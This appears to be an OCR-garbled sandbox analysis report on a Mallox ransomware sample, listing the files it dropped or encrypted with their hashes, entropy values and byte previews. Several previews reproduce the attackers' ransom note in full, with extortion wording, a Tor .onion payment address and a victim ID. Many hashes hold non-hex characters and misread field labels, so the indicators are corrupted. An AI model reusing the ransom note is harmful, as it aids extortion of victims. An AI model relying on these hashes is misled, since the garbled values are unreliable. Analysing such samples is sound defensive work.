SHA-256: 229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

SHA-512: B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

Malicious: false

Preview: Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con

dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Java\jre-1.8\lib\deploy\ffjcext.zip

Process: C:\Users\user\Desktop\ 145.exe
File Type: COM executable for DOS
Category: dropped

Size (bytes): 14264

Entropy (8bit):  7.986399184644429

Encrypted: false

SSDEEP: 384:51BRO0at0SIkIR1KTKOQPPEKpVCVCJrl/+Ff:s1TU7PMH]7yalL9

MD5: 9B4D3F7A4BEB3330D49F16FC03F50A09

SHAT: C6002C89FFFE4E2B8C7C4432BB81E766830980B7

SHA-256: 295A14E53793575F3AF8CB3942C87E5D77703F0BDFBF59D4CCD784B82E45D237

SHA-512: 388024BA6B6AA54543A2C2FCAB217EF24FDEEA9BCEEB8ED2622411F4C530AB8621096FC833030F254B907B272BAABBD598B128610AD71D4A9292E3972A483A%
0

Malicious: false

Preview: o= AMH.n.e jWG. 4L O e ..if..B@.... ItTY.Ue.~._.)...d%.6H.../(~.<...y..3.].B.i>. QW.IL.W9....C..n{..g.mGke>...En{.).4 k.s....0.j.A.N}.Z.G}.."..fL

JHP XDt K (e OU e 1 (o€t )DL R L2, LQV...... 4...902.. ){BU.=<@" . H4 %P ... NLL.L.WLAT....W.].n.G&....$..5.C...<nh.l pL.z..$.... #.$S..
jdef B~ X4, 5WM5.L.D@.8.N.GD.....Q..1A.[)..}.5...=&.N...=b..7..2"..]$0l......"b...0....@.....2W...F....SZ7O.H].y.V.2.... .RCZXN........2. K...,BX.+/...

%.Lo PG~ HeoXers T FOX D g2K @2 YoM 8.2 LQAEGALAP . A |.Eeco. Vo #....).9. VS R R..BV.... & de. 5. YELLA #.@.....B
@...0...FI.F.6?.#Ha...S...dJ.i.h.*.g.aN..7.5..b.....F.B.Z...A\U...G....Q@...kqO. U....2X.1.6n....3..g.a0p...3..rEF..<..".;a.L.H..\n.R......

C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\HOW TO BACK FILES.txt

Process: C:\Users\user\Desktop\ 145.exe
File Type: data

Category: dropped

Size (bytes): 1410

Entropy (8bit):  4.76384410394738
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Encrypted:
SSDEEP:
MD5:
SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Model.zip B @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

COM executable for DOS

dropped

91301

7.99815024276238

true
1536:Fu1AMqyZc1kK6c8/3MGYKdiR+Acxye4xuyNdHGr+ylUH4sgwcF8ceBGmZek:FCAMaysR6B/3NYKYR+AcUe4xLNJGSyIU
7C5246DD6FCD1BE22CFB692F45BED7E7

DB756FAD764994A07399398282972442855C048C
D24ECC405B16D81E28BF9CDB928F31B1F63470A0F1383A1220006A8ECBD7D66C

8BFFEBD2277D5B17BD99B6BC204C2661444E3F1FDCDA1FE06562DEGE016AF6D39A10B09A36D07F1667E1C7112E383512E04C8053CBCDE76BBA1E21EFFAOCC
829

K-..S7.5V..r.GD..$.$V...7..8X.r-]..7.ffp..=..V.. .
F,Dy.]N.#.0b..J..." P.E_..a..Mp.%..Ab.s Bc...@ .E.E.d.2.Lp~.XV....j.Hd..}....S.i...H..|.".
D.E...oNWC.7.\.2.ZH...m.0.M.R.0.@.".".u* Le..zKb.h13U_.....#....ZF....... .0..H{?...-..Z07..%.."...| .E.u.>B.F2H......V.qEUQ.N..Y.."g.w....]....

C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.Controls.zip B @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
SHAT:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

29233

7.992179864551415

true
768:FzwHz9nMkLDeSVIH80Y6n04TIpfBbHofwZaMIFepGQOFA:Fz2VtuSVI7YWO0pcw8IFTQO+
BD16D7E8240060B5751610562BB857CE
155200176F024303F13E284AACC3BD823BD7EDE7
CE918365714D0A02415475F24DD9608693CB20CDB3CE11BE7046BEEDB5C74E23
540ED68601810C925680D2086BC17265F41B89EDIB544C363A582ABD651B8BBA458FECB64D611677B1B30A5E22623D275D0248DAA2F104A6FF1E4716C2EE0D2
true

OV 4UQ.04>... |5 {0 ZG.SV.LH....~M/.._}[C@ ..U.%......N(..0....@.3{PX........M..8..10:0..9.*.9.%.....L\.._D..u...5.....xC.D12..C#.E.t>.Z..(..7.8bC..{Z.....c..\W.%"F...b8
k~X.ZZARW.Q_6#m..B'...CyS...#0..3.....Q5.*&..+..].2CB.. [WT fu..L<a.."tU..".U......;...Z..... SK.8.X...._aC.|.. X.[.%..)..0...q"N........+..$.].&L.@?. . VH>E[.w.8.2.0..\.
.L.Y.85"Ha=.N?.g..aN.C./.f[d..Q..&.<A....yft.=x.";1..0.]..BS.mW.I.1a] M.Z.C..0.@.7... KE* 45.1..7....j4n..> M."E.[F1..6....E)5./..W.p.....K.m...$.3.y.n.$Y.aV.
W3l RO Ve o 0o HL A N2 ~ENt2.0.0R, /... }..ANg>.A.J. 3. {..St7... %b........... h.J.-M....caysw2...dO.... X.7#Ee" ;... 1..../.* \W+a.B...T.-e4i2...5-3.
DXor( i K7 .CBl. \A5 A %.aBLY~<M4TO.Q... LOI2. L ] iy ) oo P 8BS IoKEL VL B\ ce= ML m.U=[.O...

C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.zip B @

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Users\user\Desktop\ 145.exe

data

dropped

70789

7.997513758151732

true
1536:uQjDoeZjHEjzBYUBwAIznEcdAI3bmzmIMCloCO:uQjDZZwnB4YzEcupuM7
1E1A7D06F1C27C5D163302392EF293EE
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SHA1: 4F14EF2A1E186A95A55A23A48CDOCC83ED7B6138

SHA-256: 04F2756B3C2EADA50E84F2612F87C49A80DFA317F7A6D2541E193C9836BBF4E7

SHA-512: 3C3FB50A7BDEE4D2EFDF38D153EE99A56BDFC8BF62635E9346A751064EF7FCIF502399A21432040D2A0A5C4DCD0570B2A3D64A494C5849C579DB58BBAD390E
B2

Malicious: true

Preview: ..F4d.CM..Sn<K.A...=..... v...0hC.7q..}....P"E..a.f.4. - Y { (& e.NfLh. . L& X 4+ R2..@P..K...p.ey o @K I~ {2 Y eldi ,.Z;.. $le..u,p|
R oa)=.e...2i..2.e3.v...'kaX.{...2.Jj..[... [..g..p.-2....5Z20.z4... X a.......Q..0L...B#....V..s.~k.r.K]....j.;.+.m.&z.A".mA.a.$..HA. .0.....+AW...".S.]7_V#.8.bc$....5..
M. F...Rb.>H...d. [l JX (> y*...E=...).v.~...s..BBC....B.@mv..#..g..\........ Tw.. Ko MaJRUULT.J.nR.W.F(U.z@RN.]/_.L8|...;K..&"?.7

W.M'.5.5.....q..H.7" .1.n.\$KZu}..C..$...A..(....l...D....F.BMGC....9.%RX5.K.2......T..)d.-M.... W...XV.....=./.~.3C..0) @...TEY/|Zo........ 6G9.....(..V....4.B....%..u...F.E
e B2 X G ]) A (V. ] 2V 43... D@..<.~kF4.. | +.8... [P...tg..hv..Rz.~ 3.P.....;+.=....a.1..82.Q..V.6.N

C:\Program Files (x86)\Microsoft Office\root\Office16\Ocomprivate.zip E &

Process: C:\Users\user\Desktop\ 145.exe
File Type: data

Category: dropped

Size (bytes): 88634

Entropy (8bit): 7.997914822654759

Encrypted: true

SSDEEP: 1536:cGIJpAIGWIxreKSS8jOL2swLvhXdXZhx6801Dk7p0B/C5EbAXyQHYI6T:cuoGZxTSSfL2ZS8jo/M/XDYv

MD5: 1FC4AD58C16E2B9B33657957DB71A237

SHAT: EB288AF87C4F50A43D93B8B5AD17C2E2E2B391D6

SHA-256: BDE25926E12C12C6BC415977165F4E5DF789118352C3CDF1ADCB533D33FBEE02

SHA-512: 2128CD3256CEBC77A5DD3B044553A704D5E4F73997589E28DB28793D5B2368649842E03DE3711484CEB98C237D18EF6A39D5A57DAB11C3C5B6DD6A61B03001¢
Malicious: true

Preview: ALKYL1.8L 8T X@&..Ehe_jg.....d.Le>.Zt LA+ D/ dU> P ?2KE S - 6~ LT BrU L p.... QK B LV~ @, +..8/.Qz.NBk... A} s 5o -

LGUl2iyannse @ 1% mtmke 8. ) WwX 2. A (8. 81 . V'GAS..$.0/....0.. 7.p../|[$.A."TH.Z....b.y.
...... *h...1e.3.$.3.@+rV..B.U...+.=,;...y...-...0...M{0%PN....,....Y0.>./..W3.E....).VOD8Y....../...0.@.\........2f.D.E.Pgl.b ... I..V...c..A.}..m2W.....bp2g.uh&....+..n.t...8.

$}....6.Yx.<8..99..f.h.d....n.yt.....4.2 f.s)c.tw~.w..xBY/ lc.m>bR.\ Aa...~. 4. 1.y v+ rRNCHTLLUY L UKL 0&.L..@. . k.DLL8H .. 2.8) N He=v
fY...#.n" %.. tv......+.GY.....E.-.Z8.6... e 2Hw... #...Fe.@

C:\Program Files (x86)\Microsoft Office\root\Office16\System.Windows.Controls.Theming.Toolkit.zip

Process: C:\Users\user\Desktop\ 145.exe
File Type: data

Category: dropped

Size (bytes): 11636

Entropy (8bit):  7.984527033068268

Encrypted: false

SSDEEP: 192:Cu/P8VxKtHyq6ImJIjKxZJMsjG1MizvQ0O7txx/gWMHZNY AyHOISHx7dQhVIV/RdC:t/P8u161f2CsjG1nvQSHprkSHXSVIV/y

MD5: 1C7FOC5A3F5EAF1DCEDFBCB05776BC45

SHAT: 29E083BF25BF6678167BDCDA061AA4C3E0C6CB1D

SHA-256: 1963AA5E217BB458290FD130E38DA98AA2C0977C941AA86D0CD6054FDAB21C08

SHA-512: 9767E88A96A8BCOF98905540E166930D9426A90ADCACDD9I083ADBE479A9FDA37C386CA7AD68A02B1D44F470B31BC2B3FF73DA9F3FD3EEBC8EE23293067ED4
6B

Malicious: false

Preview:

..... hQ..H#}.....lw.Yz.9_r....Z."-U<.Nj|d.D.w./N..z.@..Jj.(k if..d ..67..%".%4...2... E.2& v.Aj..UpL..Vy...ufHA.ww..Y...v.S.6%.~VL.F.|
L+{,.5.../.;W..NARKV..F...@..A}. ... #.#u.Q2.Il....".E&r4L...VpD.@.".... W&e...".B.;..Kuw.....-.x0cC.Y$....t..b5...1.%.B.#....k{. GV.+..gD
..Na.y.U.s\"'m.i..5... B z.!c.1..M&.qBL?3 X ?
Lp{dL3{ P<+..ndl A O jiGy....bl..g.. k.. x.\..~....GNn6...S." V.D[...pG..&.R.....%.b~..9<DX...b=......6.".IV?..n....p.H&.....pd.N..0.;@..F.2JI.R.A

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.gz B @

Process: C:\Users\user\Desktop\ 145.exe
File Type: data

Category: dropped

Size (bytes): 215820

Entropy (8bit):  7.999106448849111

Encrypted: true

SSDEEP: 3072:m1mh+7DQC60N4FvhvTQCoMfqZNy7rYcRIbmSmjbeR8akgxBKjlsXVAXIc+xtlofE:c9X4F5UCE3Et9Zx8Z6BKjpIx5ebA

MD5: 2BEBO09E1D552F73E88F3DODCCE5S75273

SHAT: EEB2D29C794046CCF8186A431924C70F46571BF7

SHA-256: 2CEB5DA844C2E3CF0B5C928481898A0793469EB8CD6D9I2A40849FF2B467A475C

SHA-512: 5890236079AA6EAECD7035C1FEOCFF22A748B753590E539C5BDC421CCOE766AC0C7DIE3C8069CB057BC2676CIC8ES5C4943EDD3012BE2226669387CF6744F2
3
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Malicious: true

Preview: Lpl Ll HGL UL V>G0.a. {.& 1 L=l KL XS FLBLR KLV P K- L L HALS LB N2D{7 e\ HLLL0..) /0vQLLLY % R ALMv....._.K.9.|.E..}.
.c.Ll..+.>.0a).?.)..U~./..=..BW....... JIN...z...0..<.8.i./.m....L.MMNKfD....m..H.. ....4........6......3c....h.rb.X.d.@2.....y........ I...goN.$...SBeU..2..g....2....s.u..Ww....p.t
6..+...$X.9<].S...0.2..u..0.%..8.J....H.......]..{\..,.0.%.D.......,.6.~w..3....UU..Q]......en$..h.No/@.pmm.=...e/.....e...Q..~q.~.V...rf X..../o.. {.&. [l ....uZ._..qW......... d.YK...+WI"

J./.J.W8V_, tXgs..E..M%.br.?...7.4....GCQ...U.€[..0.7,.*..S..._{0...q).\77.Z.8.X.x.h.VR....a+..mA.TK.Y
N~Zj.LLW...$N2... .kC.SG.:?..5.0.0.N.....aF.. . M.c.2...p.....e.. JO.M.&2.....7x..}g5"..V..L......g.ic.[F.3...I[...~..

.e.8l<d 3...7..R,.Yo...L@....S.._V~.UO..'T..
.E.u......".K.'D..lo......8

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA0O00000051\dist\en-us_web\fabric.js.map.gz E @

Process: C:\Users\user\Desktop\_145.exe
File Type: data

Category: dropped

Size (bytes): 737532

Entropy (8bit): 7.999723666200382

Encrypted: true

SSDEEP: 12288:¢l05zX74xs1al8+EdJJy TL+gaHIvVQzYwOzpp3AXIMg2hHZdQn:5WE/dTyn+rUYwWOH3AXIKkkn

MD5: AF3C137A030663D805BB7857D1FE5402

SHA1: 04043704E38606DE56414FB2000990ED60ED98CD

SHA-256: 973B423EE13D3C502C41735130196C74948911926B4DC2A6DEC87C2E1D82148F

SHA-512: BB2B0249C3FF8FAE394B8D9F771D0OBOAFEFF6CFF6055DESF5C4314ABFB12DD6D1BFC7059ECE3EF79802F1BA243E9CD191EE05A60EBOAG63BBSE20CA94D20B
3C4A

Malicious: true

Preview: Rt At 1.81.0rrn.Co.<e@. i 5. V.. JA#.2N*E,..1 X\9]....Y.L...5../n./i-p....BG).q..0J.&%3.....qd....8."...... 2/..|.}y...qN...{.ZU=...D0.X....HN....k.". DKP).....37f..

W,.°N, NY&.r...3.UL.Z..
Ko Qo 2P

S UJ1E8*.g.UE..5.X.n...1.....Q.0%_u..L.u...>.J..U .. W.2M{.IVZ.T }f....\W..k.%.&H..0._\.(e..X./Dl.c./I...QV\"....(..
.W6....... 3..8.%...*.j..c.=$.n..1c...7"C.[..V.s.Y..a7?. j.a.Rm....\WV.t.g..l.z.ihz.L.0...r.k....
Moxclvg. 8j.h. $..X....dv.VSdX.0B..#.+..*...."%..6 “Eb..G.16S..T..2.%..f. 2.K'L..0..kR.N."..

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.gz E @

Process: C:\Users\user\Desktop\_145.exe
File Type: data

Category: dropped

Size (bytes): 139001

Entropy (8bit):  7.998517646717592

Encrypted: true

SSDEEP: 3072:VYFYNIu08LIMK020ganAIDI2e YK9XoexWrJ9kH+RrOhiLM8YzMKolo8Q1:VR3u0CLpzsgarJ WKLjYzrolO

MDS5: 6A59E34EA9EC81DC58679EE1C63CFC89

SHAT: AE5EC372E85E6953D8ACB3671CB59B51AACF696B

SHA-256: DD8178D42873CEE607EDCF78B387CA6715557A921B1D73DB6C87FA3B6DDA26ES

SHA-512: 5278437E8DA7A6C82B706 A0ABEFA0BB90C29D303911D38996551005BC2C25DB18647C348911404936FE378C7A8670395FF9F777A36FB75A9D1DBC5EEEFFOD10

Malicious: true

Preview: [ ISV..@....7....7a%....B.dn.nV.i..0. x...|G..Y..f..f..W6Ua.4*.~I}
.g.Dv.."~..B.Qs...(.$........ M"..D2..E..C....I...V.h>.zp...v........u.3.C.C]..3"..&S....... w..<Wfa..T..@+...F L....r-A#Fn.z..n.wu|v..c..G.....IN..L.@....$.a.;....
A..Nd...Wa.
...... Z...8 .<..9.M8..F.12.A=.bB.Q.c.Ly..cagh.}....h)f.qj.n...d(W. ..~{S..E........<]....t4+6+..... A>~.[k..m.9.(..aw.T.,..H..N'..C.2d..."VkUQ.
..8Z>L.z....YO e LAY ZKN LK E gl N e Y B mL %X KK KX@Sy. S {?7.<. F.T.\-.0..h T A s A

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.map.gz E @

Process: C:\Users\user\Desktop\ 145.exe

File Type: data

Category: dropped

Size (bytes): 320330

Entropy (8bit):  7.999438604885453

Encrypted: true

SSDEEP: 6144:LUzhJYMbMPCgm40z5b86tAEKAHT 103h4tooWBE8R2cM:w9iMAvm40z5BN1ziR4GI9R2cM

MD5: 36C96271865C9AA49C7228A137EBF952

SHA1: 0B481BD74280DF64A0E8987902E9D3459EFC1B66

SHA-256: 845F69832AA0742C2B5826 A0CFD02A40240687C65E77B68CF205EE4730BCDFED

SHA-512: 09F4A9CAF27EC8A58A9EBAOAE4EESCC5ECB364DA48CF3FC689592E49F940054032AA168170506E08FE5A0264256C46A9CF222EA740A1B0314478F3F4C80D420
A

Malicious: true
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Preview: TI9A4....... SU....[coe N0 7 RS F.E....kxn.[t.'x.T.6?....L..)...j]=..ROB....z#%...fL..0..]WO.[.1...6..0.10.".42...).e._..g..g*$t.0t.5S...T.....5...../...._...zy~"e}53.c.f...
.§'2....".&<.9 >.27..*N.d.....j...[E.x.gis$./.E..$e.N....9./.X.....Z3..y ... C...%...L.3.R..n.c.h...).KO_...F.H..V...... Lo > H.*%.(z..l.D.....3...U..rZ.A.%n....

.C+"lg....-A.9....6v....uew.-.

L@~.... .0. X +.%IWE......7...u;.=.

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA0O00000051\dist\en-us_web\taskpanev2.js.gz E @

Process: C:\Users\user\Desktop\ 145.exe
File Type: data

Category: dropped

Size (bytes): 154390

Entropy (8bit): 7.998770238774265

Encrypted: true

SSDEEP: 3072:/vbnmMwaxJuZauSAcBsu5BDPE4rBrW17XV6IsHHq7Bteb4:3bnBVxJuwuSAA5ZDrU17HHKab4

MDS5: 5E842973297B2D0AA4ABFC69EDE3834D

SHA1: 72CDB89A59AD45C36105C949398B81690A849ECE

SHA-256: 484AEBE9B3C78F09699FC13B2DE871ED559E5FD67C1D2A02514D00375D5AB478

SHA-512: 8D28D40528260C1B71E4711F297484A20FD382DEF8B872784388F47917A3A21FF66FF3096BDA20CC83A333238C04B3B13CE3EC56782D68B09941CF8381092B92

Malicious: true

Preview: d.jj...e.C.$.9"c.?2.J...3... V.. Y 2..5=5..@N..8.. %.pw.. #- TT.0.... T..[p+LJH.V." .is.s.<.n).n 2o dplHU g [dn.. ...{c..0.@..-[m...eqq......[E@.C..~".9r..|..
..3cB....6.a...|V(....#0..Mc.Re.. .4.1.r//4......./%..9S...X..Bg".P.0....x..$..Dy0.S.....B50>.rR...;..d..".5. XE.6n.w."..."..d..i..{. [.Rb....C.0.h...nX.A..G.J)..IN."...LLQ...
U< |.r=bk.....c.m...T....(,..%.c.[...~..hvN.z [k.......8. K)...h8...8..*..N..d? . N..
N % C...}Y.x, w..gp...0.....0....a..3.B.F."l....z.f..6..0..%]#..W.

hN.B{p..{R.."..r.x.Y..5.._rv..*

iO1..Xb..S{....6.P.b&} 2.4It.... 1u......Pi7|..48.)'z.K.....M...FO.]_D.2T.JW-...L

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.map.gz E @

Process: C:\Users\user\Desktop\_145.exe
File Type: data

Category: dropped

Size (bytes): 358562

Entropy (8bit): 7.999507987317355

Encrypted: true

SSDEEP: 6144:G3pm4hzvha/fXul/aQIRS9W37pKFgOR4Cv4PFwrU9J1Gv19xiRz8WXWhYZS:AZhaSQfS9RP4S4mrvFkz8wmhh

MD5: 0636FDIE6A05D428B626E85FF922D9DE

SHAT: 0A1F4CFOEB47081A1E26E12D74EDD1145A66B6D9

SHA-256: 7D67E503059305DF19FDDF068C56E5225896297 CAD3E4ABD642EF2F63FCF3B3A

SHA-512: 202C54B30348457D18A7F76735CEFF03B080ED7C3D9CF6F971E160F9B6B6FB8C14682D4A2C66C666C663B5C310534E0EF9A2DCFEE109B89AAEEB81A2732B47!
6

Malicious: true

Preview: .Zng...5p....34../c.Bd.*7.. .e.."*"%.] .QE.=.s=0.b.G.L.M.5......0.KL..f..O.6+.... Nn...j%...+K.E...EF1e.h..ONLl..s...."...6..]..s}>8.hX..G"bW}i4...
JERE N
(E.dN..%

. X1.%X:D.y. .p7.p9Q5..0.Q..X.Y.G.".Ig.A..... B....a.._.H..7.C0...f.&....och...]..;ALL...4ql.vxO."....._v..lj... #BS.....m....
Al UL A\Ef~)misPLX LGy ) zEZz~ L 0u =L

(Y M) %8s
hG-.In+...].F\...S....g{1...0C|..D...W..5Y7..

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.gz E @

Process: C:\Users\user\Desktop\ 145.exe
File Type: data

Category: dropped

Size (bytes): 243314

Entropy (8bit):  7.999378375423464

Encrypted: true

SSDEEP: 6144:xAYe0K02Bn2gfY GghGSkmmHB9sugjph/5¢J9gmCInRO6:xAKKKgfKFSB9sugjph/5IIRR

MDS5: DFAEFF8E7A9FF43212E9DF9A511AAE26

SHA1: 856C67CDD6EB150093EE3F6D4B3241346A657895

SHA-256: 14F18640A5E3A2A2EB6CCOD7CC03806AFA76F970363829E9241827378A8F0527

SHA-512: 1250D9019EBO6ADE92C28CB301029D2F9859D416286BEA3B635A72AD45C59E9371184BF98D6575AD520AF99C6DA1DED5F7B898CEA8DOSDAEISDA4D74795282

9
Malicious: true
Preview: c..."r.%8...1.B.%
Yooy
g\...e.M.73..CJ(f....... r]n.~POU7.\.F.."i..(.m.7..Y.E.....bl.lL.<.9..-\.{ .L.xd..D2
"=WN.Dt......]. T.rwN..J.ZM).@...".r#....H..s.=.VQ,

@7 >weZ. \?..2. . 3er.B.<\ (X080 12..G L OF L) $.SP3YLLFLJLLLGl da. - Uy L VULLLFLZLL

DJ..
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C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA0O00000051\dist\en-us_web\vendor.js.map.gz E @

Process: C:\Users\user\Desktop\_145.exe
File Type: data

Category: dropped

Size (bytes): 811231

Entropy (8bit): 7.9997920506854685

Encrypted: true

SSDEEP: 12288:93S+HwE044GKO8F/qjZetW0L41ND477AzFu+USIDgPiGm101g4p21Cc:93Scw/FBFSZ0c477ARu+ZIDtM1v2Yc

MD5: 47950F5FEDBDDD9B823DD10BEA25A04F

SHA1: B3A6AF08562A0F53319757FAAF027ECDD1185FB5

SHA-256: E29913B672DC4577560DDD4705884AA21B077C38EF08AB14D4F5FC25E4161013

SHA-512: C4D08324F437DB894742A385BA33692A9309C1692439673D10B8BIABI768B1D63ACF8E6E48915E4159A35AF60789E494D9C3F733FBIDS5ECODO1AC801501EE3€E
Malicious: true

Preview: p.+.h.@...PB)U.5......8){..........5..1.>.2.pU.A..Get W...4.. Tol.Co A" V> . @O... b |Pm (oo €5k W,

LLMLAM.?2.1.4.Q..mC....C...._...0>=1.h9{. yenZ)l2..#.4.G.B! - %...d{.7K.<pe.....8.D..V..r7mF..
.@}.0~.B...,"3.=(~.....h,jut1Z...i...1..3.pu...0...y..4e{..g.M.h....... -H{l.8...(..gw..GK....8.x.7.......=.c..dOF . H.>. <...H....
wZ.0.z....<../i. W\,...... vk....H.....bs.}.io.?.Im..0...z25=..Q.P8C.+L._[.e_...c..\...%.?.y.1..7..z." .e....+..1.kSS.
_.1.4.9.]..<..}.28..9c;..%..P~..P..2..x..&..58...EyR.p.,V.\\ N k.Z.M...Q..<.}..QQ4.MI..A...Qb......>.-.0=..P....

=~.hr2/.7.<..9. pd"'NELAC st (nLs..
a9.>tW".d.T.#.,\.P.PA....n5.dW.M.+
Z..20ydr 25y x)..e.>cZ K....)o..

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.gz E @

Process: C:\Users\user\Desktop\ 145.exe
File Type: data

Category: dropped

Size (bytes): 451885

Entropy (8bit):  7.999662178398114

Encrypted: true

SSDEEP: 12288:3crD5VXNtnV9j6 CRhH+f5NxVNHgsGbFbQAkZW6z1kqGbH:m5VXNtTjp63nJgFFqZW2uR

MD5: 74530C7A88FBDEC0937B0B6BF2E576C9

SHAT: 2F610E689523D1A41B229FC105333C3520301E44

SHA-256: 2C88F43D75F5C035EEBFE42BD7C21992FB1D9B660E1EFOC6ESD3EB8699574EF3

SHA-512: 2FB407BD44BA09CE419A7A237BA5DB4118EFFB5036A7F0A8723FC80938C64C5826EBA562A5C8A72F86EDDF7EA51F404FEC5093F373096D25D828CC1B56F4DD
E8

Malicious: true

Preview: L #-1..0L...T...mI.M.C.ai6.Y~.GT..A.Q7.._..y.qy8%.ix....E.......... BKCY...-V.g. Xeo...(-./.6C . jt./..... DL Z # AU, > ;.G 8.A07.CC.7 o B UVP.T.A";

18.h.6-..d..U...2.].. . M.@.S\..2f... HIM.Bg..f2. ... Wx......."X.2"...a<]\N......PL..Z. 1> V. ] T.2.Y=05Y..Y:.....@=|_...W.....C.5.........F..h9.e4.{|.b>.@]..Y.DI)..z
=0 9.%..0.G..V.CC.=......$7. .ULQR. #e..EW...gP.\...L...,.7"=F0..)Y_.n1......T.:41C.,.4i.p).Y.b.U"....T-M....... 2giE2h.@..<OME...Z..u......b}. xC9..R..{.....q"h

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.map.gz E @

Process: C:\Users\user\Desktop\ 145.exe
File Type: data

Category: dropped

Size (bytes): 1707100

Entropy (8bit):  7.999560462354806

Encrypted: true

SSDEEP: 49152:iigIrTNAEhsSu38WHgZKGXWNjma9cWB18p:i9IrTNAEesuGmgaGaip

MD5: FOFEECF8AFF90CAB39AC4FCCC438BD1D

SHA1: B9BBF580BE721D615CE71BE04BEB6BIFD36E2F2E

SHA-256: FB96B3B5CD521C63F04C16A5EED458D0B22D2E5AF348FAEADBFFCE41CF12F7FA

SHA-512: BA4C2F34DB4F892DAD149D5C02B47016E522E49603C00E5429A6D314A18B4E73A06793383051B97C20E52BA24190B111B271E477D3272FAC31B52990F 1877BE9

Malicious: true

Preview: =.JN:C.-*.2m.*Q...P.i2.q;.

. W 4Am..].p A LZ.LbP"%....

X+0.Cx7....6..f....w.fM@..)...Tn...U..c.pl3J._H.T....4ZK..9p....1I8..2.Y.....0....q.WA..2.0.p.)t:.....;....0-....%s...R}j....1.... X p.Bn..._.D.Jj..4.%..(-5....\e....X.7.. ..h..~
Jbt.].x...EJ.AF.?2V..C.E.H26....S....z.5s....H.."....... P.e..2Qz5..D..>g. ...|....9.. 2]\ Aju.B"tO.r.U%..9..y.;.. WS..p_.g#tt.<.q!..$...0..../...%YY.[.O...hP..x..K.N....Zx........
LrCeL U ELNLLLLp. b 7Sp... SO <ML?- L .Gle.g9. 1 ~G.?..J..R...FG....0....... Hy?+.ms..RG..2.C.)..cocveunnnne v %..

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\vendor.js.gz E @

Process: C:\Users\user\Desktop\ 145.exe

File Type: data
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Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

dropped

42600

7.995701575396728

true

768:XbWasUoH7MIIc3xwKAE/Nv8ScsVmzm11na8syPJhtDzv+d6SQ:r9sHbe TKKbNE4J1a8DJzS6Z
5D935BF902E90F4993768259A227B912

414AF1CAEB187E7A200DC01B18BD2F5FEFF87527
B13893A91A8B48B1BA082024D985CEA3A1B3748F27B690B1248F01325ED4FB43

B562C1C8A6E2460A6FB3919BA6A4F7C1F7889427D22114BE8C2096A2DBA9SEED7CF518E47A3C3135AC5A85544C1384CF214E22DA80B117A6F72AA8E034470AE
A

true

